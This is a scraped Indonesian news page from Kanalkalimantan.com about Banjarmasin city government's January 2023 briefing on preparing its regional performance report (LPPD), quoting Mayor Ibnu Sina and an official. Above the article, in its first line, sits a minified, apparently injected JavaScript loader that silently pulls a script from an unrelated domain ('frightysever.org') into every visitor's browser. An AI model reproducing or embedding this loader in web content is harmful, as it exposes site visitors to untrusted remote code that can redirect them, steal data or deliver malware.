(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota (Pemko) Banjarmasin menggelar sosialisasi penyusunan Laporan Penyelenggaraan Pemerintah Daerah (LPPD) di aula Kayuh Baimbai, Senin (16/1/2023).
Selain itu juga dilaksanakan kegiatan sosialisasi LKPJ (Laporan Keterangan Penyelenggaraan Pemerintahan Desa) dan Ringkasan Laporan Penyelenggaraan Pemerintahan Daerah (RLPPD) di Pemko Banjarmasin tahun anggaran 2021 dalam rangka Evaluasi Kinerja Penyelenggaraan Pemerintahan Daerah (EKPPD).
Kegiatan dibuka Wali Kota Banjarmasin Ibnu Sina dihadiri Sekda Kota Banjarmasin, Kepala Bagian Pemerintah, dan pimpinan SKPD di lingkungan Pemko Banjarmasin.
Wali Kota Ibnu Sina mengatakan, LPPD menjadi penting karena sebagai penilaian pemerintah pusat terhadap capaian kinerja pemerintah daerah selama satu tahun.
Baca juga : Terungkap! Perempuan Dibunuh Dibuang di Gorong-Gorong, Begini Pengakuan Tersangka di Polres Kotabaru
“Hari ini kita sosialisasi LPPD, merupakan laporan pertanggungjawaban pemerintahan kepada pemerintah pusat, kepada DPRD nanti juga disampaikan,” ujar Ibnu Sina.
“Kalau kepada masyarakat nanti disampaikan dalam bentuk ringkasan,” tambahnya.
Orang nomor satu di Kota Banjarmasin ini mengatakan, LPPD merupakan raport kepala daerah yang menjadi penilaian pemerintah pusat.
Wali Kota ingin memastikan kinerja Pemko Banjarmasin di tahun 2022 dapat terdokumentasi dengan baik yang dilaporkan dalam bentuk LPPD.
Kepala Bagian Pemerintah Ryan Utama mengatakan, sosialisasi bertujuan memberikan pemahaman kepada organisasi pemerintah daerah terkait penyusunan LPPD berdasarkan Peraturan Menteri Dalam Negeri Nomor 18 tahun 2020.
Baca juga : Rumah Yatim di Mentaos Banjarbaru Berhenti Total, Pengelola Meringkuk di Penjara
Penyusunan LPPD adalah proses pengumpulan dan analisis data secara sistematis terhadap kinerja penyelenggaraan pemerintahan daerah dengan menggunakan sistem pengukuran kinerja.
“Kita berharap dengan digelarnya sosialisasi ini dapat memberikan pemahaman penyampaian laporan yang sesuai dengan aturan Permendagri Nomor 18,” katanya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.